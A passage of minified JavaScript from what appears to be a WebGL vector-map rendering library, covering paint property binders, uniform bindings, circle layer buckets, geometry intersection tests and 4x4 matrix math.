Dt=function(){this.ids=[],this.positions=[],this.indexed=!1};Dt.prototype.add=function(D,U,ee,ce){this.ids.push(ar(D)),this.positions.push(U,ee,ce)},Dt.prototype.getPositions=function(D){for(var U=ar(D),ee=0,ce=this.ids.length-1;ee<ce;){var me=ee+ce>>1;this.ids[me]>=U?ce=me:ee=me+1}for(var Se=[];this.ids[ee]===U;){var We=this.positions[3*ee],at=this.positions[3*ee+1],dt=this.positions[3*ee+2];Se.push({index:We,start:at,end:dt}),ee++}return Se},Dt.serialize=function(D,U){var ee=new Float64Array(D.ids),ce=new Uint32Array(D.positions);return hr(ee,ce,0,ee.length-1),U&&U.push(ee.buffer,ce.buffer),{ids:ee,positions:ce}},Dt.deserialize=function(D){var U=new Dt;return U.ids=D.ids,U.positions=D.positions,U.indexed=!0,U};var Wt=Math.pow(2,53)-1;function ar(R){var D=+R;return!isNaN(D)&&D<=Wt?D:He(String(R))}function hr(R,D,U,ee){for(;U<ee;){for(var ce=R[U+ee>>1],me=U-1,Se=ee+1;;){do me++;while(R[me]<ce);do Se--;while(R[Se]>ce);if(me>=Se)break;Er(R,me,Se),Er(D,3*me,3*Se),Er(D,3*me+1,3*Se+1),Er(D,3*me+2,3*Se+2)}Se-U<ee-Se?(hr(R,D,U,Se),U=Se+1):(hr(R,D,Se+1,ee),ee=Se)}}function Er(R,D,U){var ee=R[D];R[D]=R[U],R[U]=ee}se("FeaturePositionMap",Dt);var Fr=function(D,U){this.gl=D.gl,this.location=U},Or=function(R){function D(U,ee){R.call(this,U,ee),this.current=0}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.set=function(ee){this.current!==ee&&(this.current=ee,this.gl.uniform1i(this.location,ee))},D}(Fr),zr=function(R){function D(U,ee){R.call(this,U,ee),this.current=0}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.set=function(ee){this.current!==ee&&(this.current=ee,this.gl.uniform1f(this.location,ee))},D}(Fr),Yr=function(R){function D(U,ee){R.call(this,U,ee),this.current=[0,0]}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.set=function(ee){(ee[0]!==this.current[0]||ee[1]!==this.current[1])&&(this.current=ee,this.gl.uniform2f(this.location,ee[0],ee[1]))},D}(Fr),en=function(R){function D(U,ee){R.call(this,U,ee),this.current=[0,0,0]}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.set=function(ee){(ee[0]!==this.current[0]||ee[1]!==this.current[1]||ee[2]!==this.current[2])&&(this.current=ee,this.gl.uniform3f(this.location,ee[0],ee[1],ee[2]))},D}(Fr),xn=function(R){function D(U,ee){R.call(this,U,ee),this.current=[0,0,0,0]}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.set=function(ee){(ee[0]!==this.current[0]||ee[1]!==this.current[1]||ee[2]!==this.current[2]||ee[3]!==this.current[3])&&(this.current=ee,this.gl.uniform4f(this.location,ee[0],ee[1],ee[2],ee[3]))},D}(Fr),Pn=function(R){function D(U,ee){R.call(this,U,ee),this.current=Ga.transparent}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.set=function(ee){(ee.r!==this.current.r||ee.g!==this.current.g||ee.b!==this.current.b||ee.a!==this.current.a)&&(this.current=ee,this.gl.uniform4f(this.location,ee.r,ee.g,ee.b,ee.a))},D}(Fr),Bn=new Float32Array(16),Un=function(R){function D(U,ee){R.call(this,U,ee),this.current=Bn}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.set=function(ee){if(ee[12]!==this.current[12]||ee[0]!==this.current[0]){this.current=ee,this.gl.uniformMatrix4fv(this.location,!1,ee);return}for(var ce=1;ce<16;ce++)if(ee[ce]!==this.current[ce]){this.current=ee,this.gl.uniformMatrix4fv(this.location,!1,ee);break}},D}(Fr);function Nn(R){return[he(255*R.r,255*R.g),he(255*R.b,255*R.a)]}var jn=function(D,U,ee){this.value=D,this.uniformNames=U.map(function(ce){return"u_"+ce}),this.type=ee};jn.prototype.setUniform=function(D,U,ee){D.set(ee.constantOr(this.value))},jn.prototype.getBinding=function(D,U,ee){return this.type==="color"?new Pn(D,U):new zr(D,U)};var na=function(D,U){this.uniformNames=U.map(function(ee){return"u_"+ee}),this.patternFrom=null,this.patternTo=null,this.pixelRatioFrom=1,this.pixelRatioTo=1};na.prototype.setConstantPatternPositions=function(D,U){this.pixelRatioFrom=U.pixelRatio,this.pixelRatioTo=D.pixelRatio,this.patternFrom=U.tlbr,this.patternTo=D.tlbr},na.prototype.setUniform=function(D,U,ee,ce){var me=ce==="u_pattern_to"?this.patternTo:ce==="u_pattern_from"?this.patternFrom:ce==="u_pixel_ratio_to"?this.pixelRatioTo:ce==="u_pixel_ratio_from"?this.pixelRatioFrom:null;me&&D.set(me)},na.prototype.getBinding=function(D,U,ee){return ee.substr(0,9)==="u_pattern"?new xn(D,U):new zr(D,U)};var ra=function(D,U,ee,ce){this.expression=D,this.type=ee,this.maxValue=0,this.paintVertexAttributes=U.map(function(me){return{name:"a_"+me,type:"Float32",components:ee==="color"?2:1,offset:0}}),this.paintVertexArray=new ce};ra.prototype.populatePaintArray=function(D,U,ee,ce,me){var Se=this.paintVertexArray.length,We=this.expression.evaluate(new In(0),U,{},ce,[],me);this.paintVertexArray.resize(D),this._setPaintValue(Se,D,We)},ra.prototype.updatePaintArray=function(D,U,ee,ce){var me=this.expression.evaluate({zoom:0},ee,ce);this._setPaintValue(D,U,me)},ra.prototype._setPaintValue=function(D,U,ee){if(this.type==="color")for(var ce=Nn(ee),me=D;me<U;me++)this.paintVertexArray.emplace(me,ce[0],ce[1]);else{for(var Se=D;Se<U;Se++)this.paintVertexArray.emplace(Se,ee);this.maxValue=Math.max(this.maxValue,Math.abs(ee))}},ra.prototype.upload=function(D){this.paintVertexArray&&this.paintVertexArray.arrayBuffer&&(this.paintVertexBuffer&&this.paintVertexBuffer.buffer?this.paintVertexBuffer.updateData(this.paintVertexArray):this.paintVertexBuffer=D.createVertexBuffer(this.paintVertexArray,this.paintVertexAttributes,this.expression.isStateDependent))},ra.prototype.destroy=function(){this.paintVertexBuffer&&this.paintVertexBuffer.destroy()};var sa=function(D,U,ee,ce,me,Se){this.expression=D,this.uniformNames=U.map(function(We){return"u_"+We+"_t"}),this.type=ee,this.useIntegerZoom=ce,this.zoom=me,this.maxValue=0,this.paintVertexAttributes=U.map(function(We){return{name:"a_"+We,type:"Float32",components:ee==="color"?4:2,offset:0}}),this.paintVertexArray=new Se};sa.prototype.populatePaintArray=function(D,U,ee,ce,me){var Se=this.expression.evaluate(new In(this.zoom),U,{},ce,[],me),We=this.expression.evaluate(new In(this.zoom+1),U,{},ce,[],me),at=this.paintVertexArray.length;this.paintVertexArray.resize(D),this._setPaintValue(at,D,Se,We)},sa.prototype.updatePaintArray=function(D,U,ee,ce){var me=this.expression.evaluate({zoom:this.zoom},ee,ce),Se=this.expression.evaluate({zoom:this.zoom+1},ee,ce);this._setPaintValue(D,U,me,Se)},sa.prototype._setPaintValue=function(D,U,ee,ce){if(this.type==="color")for(var me=Nn(ee),Se=Nn(ce),We=D;We<U;We++)this.paintVertexArray.emplace(We,me[0],me[1],Se[0],Se[1]);else{for(var at=D;at<U;at++)this.paintVertexArray.emplace(at,ee,ce);this.maxValue=Math.max(this.maxValue,Math.abs(ee),Math.abs(ce))}},sa.prototype.upload=function(D){this.paintVertexArray&&this.paintVertexArray.arrayBuffer&&(this.paintVertexBuffer&&this.paintVertexBuffer.buffer?this.paintVertexBuffer.updateData(this.paintVertexArray):this.paintVertexBuffer=D.createVertexBuffer(this.paintVertexArray,this.paintVertexAttributes,this.expression.isStateDependent))},sa.prototype.destroy=function(){this.paintVertexBuffer&&this.paintVertexBuffer.destroy()},sa.prototype.setUniform=function(D,U){var ee=this.useIntegerZoom?Math.floor(U.zoom):U.zoom,ce=s(this.expression.interpolationFactor(ee,this.zoom,this.zoom+1),0,1);D.set(ce)},sa.prototype.getBinding=function(D,U,ee){return new zr(D,U)};var ha=function(D,U,ee,ce,me,Se){this.expression=D,this.type=U,this.useIntegerZoom=ee,this.zoom=ce,this.layerId=Se,this.zoomInPaintVertexArray=new me,this.zoomOutPaintVertexArray=new me};ha.prototype.populatePaintArray=function(D,U,ee){var ce=this.zoomInPaintVertexArray.length;this.zoomInPaintVertexArray.resize(D),this.zoomOutPaintVertexArray.resize(D),this._setPaintValues(ce,D,U.patterns&&U.patterns[this.layerId],ee)},ha.prototype.updatePaintArray=function(D,U,ee,ce,me){this._setPaintValues(D,U,ee.patterns&&ee.patterns[this.layerId],me)},ha.prototype._setPaintValues=function(D,U,ee,ce){if(!(!ce||!ee)){var me=ee.min,Se=ee.mid,We=ee.max,at=ce[me],dt=ce[Se],xt=ce[We];if(!(!at||!dt||!xt))for(var Bt=D;Bt<U;Bt++)this.zoomInPaintVertexArray.emplace(Bt,dt.tl[0],dt.tl[1],dt.br[0],dt.br[1],at.tl[0],at.tl[1],at.br[0],at.br[1],dt.pixelRatio,at.pixelRatio),this.zoomOutPaintVertexArray.emplace(Bt,dt.tl[0],dt.tl[1],dt.br[0],dt.br[1],xt.tl[0],xt.tl[1],xt.br[0],xt.br[1],dt.pixelRatio,xt.pixelRatio)}},ha.prototype.upload=function(D){this.zoomInPaintVertexArray&&this.zoomInPaintVertexArray.arrayBuffer&&this.zoomOutPaintVertexArray&&this.zoomOutPaintVertexArray.arrayBuffer&&(this.zoomInPaintVertexBuffer=D.createVertexBuffer(this.zoomInPaintVertexArray,$.members,this.expression.isStateDependent),this.zoomOutPaintVertexBuffer=D.createVertexBuffer(this.zoomOutPaintVertexArray,$.members,this.expression.isStateDependent))},ha.prototype.destroy=function(){this.zoomOutPaintVertexBuffer&&this.zoomOutPaintVertexBuffer.destroy(),this.zoomInPaintVertexBuffer&&this.zoomInPaintVertexBuffer.destroy()};var Aa=function(D,U,ee,ce){this.binders={},this.layoutAttributes=ce,this._buffers=[];var me=[];for(var Se in D.paint._values)if(ee(Se)){var We=D.paint.get(Se);if(!(!(We instanceof si)||!Jo(We.property.specification))){var at=Ka(Se,D.type),dt=We.value,xt=We.property.specification.type,Bt=We.property.useIntegerZoom,qt=We.property.specification["property-type"],Zt=qt==="cross-faded"||qt==="cross-faded-data-driven";if(dt.kind==="constant")this.binders[Se]=Zt?new na(dt.value,at):new jn(dt.value,at,xt),me.push("/u_"+Se);else if(dt.kind==="source"||Zt){var vr=Ba(Se,xt,"source");this.binders[Se]=Zt?new ha(dt,xt,Bt,U,vr,D.id):new ra(dt,at,xt,vr),me.push("/a_"+Se)}else{var kr=Ba(Se,xt,"composite");this.binders[Se]=new sa(dt,at,xt,Bt,U,kr),me.push("/z_"+Se)}}}this.cacheKey=me.sort().join("")};Aa.prototype.getMaxValue=function(D){var U=this.binders[D];return U instanceof ra||U instanceof sa?U.maxValue:0},Aa.prototype.populatePaintArrays=function(D,U,ee,ce,me){for(var Se in this.binders){var We=this.binders[Se];(We instanceof ra||We instanceof sa||We instanceof ha)&&We.populatePaintArray(D,U,ee,ce,me)}},Aa.prototype.setConstantPatternPositions=function(D,U){for(var ee in this.binders){var ce=this.binders[ee];ce instanceof na&&ce.setConstantPatternPositions(D,U)}},Aa.prototype.updatePaintArrays=function(D,U,ee,ce,me){var Se=!1;for(var We in D)for(var at=U.getPositions(We),dt=0,xt=at;dt<xt.length;dt+=1){var Bt=xt[dt],qt=ee.feature(Bt.index);for(var Zt in this.binders){var vr=this.binders[Zt];if((vr instanceof ra||vr instanceof sa||vr instanceof ha)&&vr.expression.isStateDependent===!0){var kr=ce.paint.get(Zt);vr.expression=kr.value,vr.updatePaintArray(Bt.start,Bt.end,qt,D[We],me),Se=!0}}}return Se},Aa.prototype.defines=function(){var D=[];for(var U in this.binders){var ee=this.binders[U];(ee instanceof jn||ee instanceof na)&&D.push.apply(D,ee.uniformNames.map(function(ce){return"#define HAS_UNIFORM_"+ce}))}return D},Aa.prototype.getPaintVertexBuffers=function(){return this._buffers},Aa.prototype.getUniforms=function(D,U){var ee=[];for(var ce in this.binders){var me=this.binders[ce];if(me instanceof jn||me instanceof na||me instanceof sa)for(var Se=0,We=me.uniformNames;Se<We.length;Se+=1){var at=We[Se];if(U[at]){var dt=me.getBinding(D,U[at],at);ee.push({name:at,property:ce,binding:dt})}}}return ee},Aa.prototype.setUniforms=function(D,U,ee,ce){for(var me=0,Se=U;me<Se.length;me+=1){var We=Se[me],at=We.name,dt=We.property,xt=We.binding;this.binders[dt].setUniform(xt,ce,ee.get(dt),at)}},Aa.prototype.updatePaintBuffers=function(D){this._buffers=[];for(var U in this.binders){var ee=this.binders[U];if(D&&ee instanceof ha){var ce=D.fromScale===2?ee.zoomInPaintVertexBuffer:ee.zoomOutPaintVertexBuffer;ce&&this._buffers.push(ce)}else(ee instanceof ra||ee instanceof sa)&&ee.paintVertexBuffer&&this._buffers.push(ee.paintVertexBuffer)}},Aa.prototype.upload=function(D){for(var U in this.binders){var ee=this.binders[U];(ee instanceof ra||ee instanceof sa||ee instanceof ha)&&ee.upload(D)}this.updatePaintBuffers()},Aa.prototype.destroy=function(){for(var D in this.binders){var U=this.binders[D];(U instanceof ra||U instanceof sa||U instanceof ha)&&U.destroy()}};var Da=function(D,U,ee,ce){ce===void 0&&(ce=function(){return!0}),this.programConfigurations={};for(var me=0,Se=U;me<Se.length;me+=1){var We=Se[me];this.programConfigurations[We.id]=new Aa(We,ee,ce,D)}this.needsUpload=!1,this._featureMap=new Dt,this._bufferOffset=0};Da.prototype.populatePaintArrays=function(D,U,ee,ce,me,Se){for(var We in this.programConfigurations)this.programConfigurations[We].populatePaintArrays(D,U,ce,me,Se);U.id!==void 0&&this._featureMap.add(U.id,ee,this._bufferOffset,D),this._bufferOffset=D,this.needsUpload=!0},Da.prototype.updatePaintArrays=function(D,U,ee,ce){for(var me=0,Se=ee;me<Se.length;me+=1){var We=Se[me];this.needsUpload=this.programConfigurations[We.id].updatePaintArrays(D,this._featureMap,U,We,ce)||this.needsUpload}},Da.prototype.get=function(D){return this.programConfigurations[D]},Da.prototype.upload=function(D){if(this.needsUpload){for(var U in this.programConfigurations)this.programConfigurations[U].upload(D);this.needsUpload=!1}},Da.prototype.destroy=function(){for(var D in this.programConfigurations)this.programConfigurations[D].destroy()};function Ka(R,D){var U={"text-opacity":["opacity"],"icon-opacity":["opacity"],"text-color":["fill_color"],"icon-color":["fill_color"],"text-halo-color":["halo_color"],"icon-halo-color":["halo_color"],"text-halo-blur":["halo_blur"],"icon-halo-blur":["halo_blur"],"text-halo-width":["halo_width"],"icon-halo-width":["halo_width"],"line-gap-width":["gapwidth"],"line-pattern":["pattern_to","pattern_from","pixel_ratio_to","pixel_ratio_from"],"fill-pattern":["pattern_to","pattern_from","pixel_ratio_to","pixel_ratio_from"],"fill-extrusion-pattern":["pattern_to","pattern_from","pixel_ratio_to","pixel_ratio_from"]};return U[R]||[R.replace(D+"-","").replace(/-/g,"_")]}function ka(R){var D={"line-pattern":{source:So,composite:So},"fill-pattern":{source:So,composite:So},"fill-extrusion-pattern":{source:So,composite:So}};return D[R]}function Ba(R,D,U){var ee={color:{source:Ol,composite:nc},number:{source:Uu,composite:Ol}},ce=ka(R);return ce&&ce[U]||ee[D][U]}se("ConstantBinder",jn),se("CrossFadedConstantBinder",na),se("SourceExpressionBinder",ra),se("CrossFadedCompositeBinder",ha),se("CompositeExpressionBinder",sa),se("ProgramConfiguration",Aa,{omit:["_buffers"]}),se("ProgramConfigurationSet",Da);var xa=8192;function Ja(R){return{min:-1*Math.pow(2,R-1),max:Math.pow(2,R-1)-1}}var qa=Ja(15);function ti(R){for(var D=xa/R.extent,U=R.loadGeometry(),ee=0;ee<U.length;ee++)for(var ce=U[ee],me=0;me<ce.length;me++){var Se=ce[me];Se.x=Math.round(Se.x*D),Se.y=Math.round(Se.y*D),(Se.x<qa.min||Se.x>qa.max||Se.y<qa.min||Se.y>qa.max)&&(B("Geometry exceeds allowed extent, reduce your vector tile buffer size"),Se.x=s(Se.x,qa.min,qa.max),Se.y=s(Se.y,qa.min,qa.max))}return U}function Na(R,D,U,ee,ce){R.emplaceBack(D*2+(ee+1)/2,U*2+(ce+1)/2)}var fi=function(D){this.zoom=D.zoom,this.overscaling=D.overscaling,this.layers=D.layers,this.layerIds=this.layers.map(function(U){return U.id}),this.index=D.index,this.hasPattern=!1,this.layoutVertexArray=new yf,this.indexArray=new hl,this.segments=new H,this.programConfigurations=new Da(ue,D.layers,D.zoom),this.stateDependentLayerIds=this.layers.filter(function(U){return U.isStateDependent()}).map(function(U){return U.id})};fi.prototype.populate=function(D,U,ee){var ce=this.layers[0],me=[],Se=null;ce.type==="circle"&&(Se=ce.layout.get("circle-sort-key"));for(var We=0,at=D;We<at.length;We+=1){var dt=at[We],xt=dt.feature,Bt=dt.id,qt=dt.index,Zt=dt.sourceLayerIndex,vr=this.layers[0]._featureFilter.needGeometry,kr={type:xt.type,id:Bt,properties:xt.properties,geometry:vr?ti(xt):[]};if(this.layers[0]._featureFilter.filter(new In(this.zoom),kr,ee)){vr||(kr.geometry=ti(xt));var Jr=Se?Se.evaluate(kr,{},ee):void 0,Zr={id:Bt,properties:xt.properties,type:xt.type,sourceLayerIndex:Zt,index:qt,geometry:kr.geometry,patterns:{},sortKey:Jr};me.push(Zr)}}Se&&me.sort(function(aa,ua){return aa.sortKey-ua.sortKey});for(var mn=0,hn=me;mn<hn.length;mn+=1){var yn=hn[mn],Cn=yn,_n=Cn.geometry,Yn=Cn.index,Gn=Cn.sourceLayerIndex,ga=D[Yn].feature;this.addFeature(yn,_n,Yn,ee),U.featureIndex.insert(ga,_n,Yn,Gn,this.index)}},fi.prototype.update=function(D,U,ee){this.stateDependentLayers.length&&this.programConfigurations.updatePaintArrays(D,U,this.stateDependentLayers,ee)},fi.prototype.isEmpty=function(){return this.layoutVertexArray.length===0},fi.prototype.uploadPending=function(){return!this.uploaded||this.programConfigurations.needsUpload},fi.prototype.upload=function(D){this.uploaded||(this.layoutVertexBuffer=D.createVertexBuffer(this.layoutVertexArray,ue),this.indexBuffer=D.createIndexBuffer(this.indexArray)),this.programConfigurations.upload(D),this.uploaded=!0},fi.prototype.destroy=function(){this.layoutVertexBuffer&&(this.layoutVertexBuffer.destroy(),this.indexBuffer.destroy(),this.programConfigurations.destroy(),this.segments.destroy())},fi.prototype.addFeature=function(D,U,ee,ce){for(var me=0,Se=U;me<Se.length;me+=1)for(var We=Se[me],at=0,dt=We;at<dt.length;at+=1){var xt=dt[at],Bt=xt.x,qt=xt.y;if(!(Bt<0||Bt>=xa||qt<0||qt>=xa)){var Zt=this.segments.prepareSegment(4,this.layoutVertexArray,this.indexArray,D.sortKey),vr=Zt.vertexLength;Na(this.layoutVertexArray,Bt,qt,-1,-1),Na(this.layoutVertexArray,Bt,qt,1,-1),Na(this.layoutVertexArray,Bt,qt,1,1),Na(this.layoutVertexArray,Bt,qt,-1,1),this.indexArray.emplaceBack(vr,vr+1,vr+2),this.indexArray.emplaceBack(vr,vr+3,vr+2),Zt.vertexLength+=4,Zt.primitiveLength+=2}}this.programConfigurations.populatePaintArrays(this.layoutVertexArray.length,D,ee,{},ce)},se("CircleBucket",fi,{omit:["layers"]});function Ia(R,D){for(var U=0;U<R.length;U++)if(Eo(D,R[U]))return!0;for(var ee=0;ee<D.length;ee++)if(Eo(R,D[ee]))return!0;return!!hs(R,D)}function Ha(R,D,U){return!!(Eo(R,D)||Gs(D,R,U))}function Ei(R,D){if(R.length===1)return Ws(D,R[0]);for(var U=0;U<D.length;U++)for(var ee=D[U],ce=0;ce<ee.length;ce++)if(Eo(R,ee[ce]))return!0;for(var me=0;me<R.length;me++)if(Ws(D,R[me]))return!0;for(var Se=0;Se<D.length;Se++)if(hs(R,D[Se]))return!0;return!1}function Bi(R,D,U){for(var ee=0;ee<D.length;ee++){var ce=D[ee];if(R.length>=3){for(var me=0;me<ce.length;me++)if(Eo(R,ce[me]))return!0}if(cs(R,ce,U))return!0}return!1}function cs(R,D,U){if(R.length>1){if(hs(R,D))return!0;for(var ee=0;ee<D.length;ee++)if(Gs(D[ee],R,U))return!0}for(var ce=0;ce<R.length;ce++)if(Gs(R[ce],D,U))return!0;return!1}function hs(R,D){if(R.length===0||D.length===0)return!1;for(var U=0;U<R.length-1;U++)for(var ee=R[U],ce=R[U+1],me=0;me<D.length-1;me++){var Se=D[me],We=D[me+1];if(Vs(ee,ce,Se,We))return!0}return!1}function Vs(R,D,U,ee){return _(R,U,ee)!==_(D,U,ee)&&_(R,D,U)!==_(R,D,ee)}function Gs(R,D,U){var ee=U*U;if(D.length===1)return R.distSqr(D[0])<ee;for(var ce=1;ce<D.length;ce++){var me=D[ce-1],Se=D[ce];if(vl(R,me,Se)<ee)return!0}return!1}function vl(R,D,U){var ee=D.distSqr(U);if(ee===0)return R.distSqr(D);var ce=((R.x-D.x)*(U.x-D.x)+(R.y-D.y)*(U.y-D.y))/ee;return ce<0?R.distSqr(D):ce>1?R.distSqr(U):R.distSqr(U.sub(D)._mult(ce)._add(D))}function Ws(R,D){for(var U=!1,ee,ce,me,Se=0;Se<R.length;Se++){ee=R[Se];for(var We=0,at=ee.length-1;We<ee.length;at=We++)ce=ee[We],me=ee[at],ce.y>D.y!=me.y>D.y&&D.x<(me.x-ce.x)*(D.y-ce.y)/(me.y-ce.y)+ce.x&&(U=!U)}return U}function Eo(R,D){for(var U=!1,ee=0,ce=R.length-1;ee<R.length;ce=ee++){var me=R[ee],Se=R[ce];me.y>D.y!=Se.y>D.y&&D.x<(Se.x-me.x)*(D.y-me.y)/(Se.y-me.y)+me.x&&(U=!U)}return U}function Nl(R,D,U,ee,ce){for(var me=0,Se=R;me<Se.length;me+=1){var We=Se[me];if(D<=We.x&&U<=We.y&&ee>=We.x&&ce>=We.y)return!0}var at=[new t(D,U),new t(D,ce),new t(ee,ce),new t(ee,U)];if(R.length>2)for(var dt=0,xt=at;dt<xt.length;dt+=1){var Bt=xt[dt];if(Eo(R,Bt))return!0}for(var qt=0;qt<R.length-1;qt++){var Zt=R[qt],vr=R[qt+1];if(fo(Zt,vr,at))return!0}return!1}function fo(R,D,U){var ee=U[0],ce=U[2];if(R.x<ee.x&&D.x<ee.x||R.x>ce.x&&D.x>ce.x||R.y<ee.y&&D.y<ee.y||R.y>ce.y&&D.y>ce.y)return!1;var me=_(R,D,U[0]);return me!==_(R,D,U[1])||me!==_(R,D,U[2])||me!==_(R,D,U[3])}function qo(R,D,U){var ee=D.paint.get(R).value;return ee.kind==="constant"?ee.value:U.programConfigurations.get(D.id).getMaxValue(R)}function Ys(R){return Math.sqrt(R[0]*R[0]+R[1]*R[1])}function Cs(R,D,U,ee,ce){if(!D[0]&&!D[1])return R;var me=t.convert(D)._mult(ce);U==="viewport"&&me._rotate(-ee);for(var Se=[],We=0;We<R.length;We++){var at=R[We];Se.push(at.sub(me))}return Se}var Zs=new _i({"circle-sort-key":new pa(Ht.layout_circle["circle-sort-key"])}),Df=new _i({"circle-radius":new pa(Ht.paint_circle["circle-radius"]),"circle-color":new pa(Ht.paint_circle["circle-color"]),"circle-blur":new pa(Ht.paint_circle["circle-blur"]),"circle-opacity":new pa(Ht.paint_circle["circle-opacity"]),"circle-translate":new la(Ht.paint_circle["circle-translate"]),"circle-translate-anchor":new la(Ht.paint_circle["circle-translate-anchor"]),"circle-pitch-scale":new la(Ht.paint_circle["circle-pitch-scale"]),"circle-pitch-alignment":new la(Ht.paint_circle["circle-pitch-alignment"]),"circle-stroke-width":new pa(Ht.paint_circle["circle-stroke-width"]),"circle-stroke-color":new pa(Ht.paint_circle["circle-stroke-color"]),"circle-stroke-opacity":new pa(Ht.paint_circle["circle-stroke-opacity"])}),du={paint:Df,layout:Zs},ao=typeof Float32Array<"u"?Float32Array:Array;Math.hypot||(Math.hypot=function(){for(var R=arguments,D=0,U=arguments.length;U--;)D+=R[U]*R[U];return Math.sqrt(D)});function wf(){var R=new ao(4);return ao!=Float32Array&&(R[1]=0,R[2]=0),R[0]=1,R[3]=1,R}function yo(R,D,U){var ee=D[0],ce=D[1],me=D[2],Se=D[3],We=Math.sin(U),at=Math.cos(U);return R[0]=ee*at+me*We,R[1]=ce*at+Se*We,R[2]=ee*-We+me*at,R[3]=ce*-We+Se*at,R}function Tf(){var R=new ao(9);return ao!=Float32Array&&(R[1]=0,R[2]=0,R[3]=0,R[5]=0,R[6]=0,R[7]=0),R[0]=1,R[4]=1,R[8]=1,R}function If(R,D){var U=Math.sin(D),ee=Math.cos(D);return R[0]=ee,R[1]=U,R[2]=0,R[3]=-U,R[4]=ee,R[5]=0,R[6]=0,R[7]=0,R[8]=1,R}function kf(){var R=new ao(16);return ao!=Float32Array&&(R[1]=0,R[2]=0,R[3]=0,R[4]=0,R[6]=0,R[7]=0,R[8]=0,R[9]=0,R[11]=0,R[12]=0,R[13]=0,R[14]=0),R[0]=1,R[5]=1,R[10]=1,R[15]=1,R}function Lc(R){var D=new ao(16);return D[0]=R[0],D[1]=R[1],D[2]=R[2],D[3]=R[3],D[4]=R[4],D[5]=R[5],D[6]=R[6],D[7]=R[7],D[8]=R[8],D[9]=R[9],D[10]=R[10],D[11]=R[11],D[12]=R[12],D[13]=R[13],D[14]=R[14],D[15]=R[15],D}function _f(R){return R[0]=1,R[1]=0,R[2]=0,R[3]=0,R[4]=0,R[5]=1,R[6]=0,R[7]=0,R[8]=0,R[9]=0,R[10]=1,R[11]=0,R[12]=0,R[13]=0,R[14]=0,R[15]=1,R}function Gu(R,D){var U=D[0],ee=D[1],ce=D[2],me=D[3],Se=D[4],We=D[5],at=D[6],dt=D[7],xt=D[8],Bt=D[9],qt=D[10],Zt=D[11],vr=D[12],kr=D[13],Jr=D[14],Zr=D[15],mn=U*We-ee*Se,hn=U*at-ce*Se,yn=U*dt-me*Se,Cn=ee*at-ce*We,_n=ee*dt-me*We,Yn=ce*dt-me*at,Gn=xt*kr-Bt*vr,ga=xt*Jr-qt*vr,aa=xt*Zr-Zt*vr,ua=Bt*Jr-qt*kr,Pa=Bt*Zr-Zt*kr,va=qt*Zr-Zt*Jr,da=mn*va-hn*Pa+yn*ua+Cn*aa-_n*ga+Yn*Gn;return da?(da=1/da,R[0]=(We*va-at*Pa+dt*ua)*da,R[1]=(ce*Pa-ee*va-me*ua)*da,R[2]=(kr*Yn-Jr*_n+Zr*Cn)*da,R[3]=(qt*_n-Bt*Yn-Zt*Cn)*da,R[4]=(at*aa-Se*va-dt*ga)*da,R[5]=(U*va-ce*aa+me*ga)*da,R[6]=(Jr*yn-vr*Yn-Zr*hn)*da,R[7]=(xt*Yn-qt*yn+Zt*hn)*da,R[8]=(Se*Pa-We*aa+dt*Gn)*da,R[9]=(ee*aa-U*Pa-me*Gn)*da,R[10]=(vr*_n-kr*yn+Zr*mn)*da,R[11]=(Bt*yn-xt*_n-Zt*mn)*da,R[12]=(We*ga-Se*ua-at*Gn)*da,R[13]=(U*ua-ee*ga+ce*Gn)*da,R[14]=(kr*hn-vr*Cn-Jr*mn)*da,R[15]=(xt*Cn-Bt*hn+qt*mn)*da,R):null}function Wu(R,D,U){var ee=D[0],ce=D[1],me=D[2],Se=D[3],We=D[4],at=D[5],dt=D[6],xt=D[7],Bt=D[8],qt=D[9],Zt=D[10],vr=D[11],kr=D[12],Jr=D[13],Zr=D[14],mn=D[15],hn=U[0],yn=U[1],Cn=U[2],_n=U[3];return R[0]=hn*ee+yn*We+Cn*Bt+_n*kr,R[1]=hn*ce+yn*at+Cn*qt+_n*Jr,R[2]=hn*me+yn*dt+Cn*Zt+_n*Zr,R[3]=hn*Se+yn*xt+Cn*vr+_n*mn,hn=U[4],yn=U[5],Cn=U[6],_n=U[7],R[4]=hn*ee+yn*We+Cn*Bt+_n*kr,R[5]=hn*ce+yn*at+Cn*qt+_n*Jr,R[6]=hn*me+yn*dt+Cn*Zt+_n*Zr,R[7]=hn*Se+yn*xt+Cn*vr+_n*mn,hn=U[8],yn=U[9],Cn=U[10],_n=U[11],R[8]=hn*ee+yn*We+Cn*Bt+_n*kr,R[9]=hn*ce+yn*at+Cn*qt+_n*Jr,R[10]=hn*me+yn*dt+Cn*Zt+_n*Zr,R[11]=hn*Se+yn*xt+Cn*vr+_n*mn,hn=U[12],yn=U[13],Cn=U[14],_n=U[15],R[12]=hn*ee+yn*We+Cn*Bt+_n*kr,R[13]=hn*ce+yn*at+Cn*qt+_n*Jr,R[14]=hn*me+yn*dt+Cn*Zt+_n*Zr,R[15]=hn*Se+yn*xt+Cn*vr+_n*mn,R}function Pi(R,D,U){var ee=U[0],ce=U[1],me=U[2],Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr;return 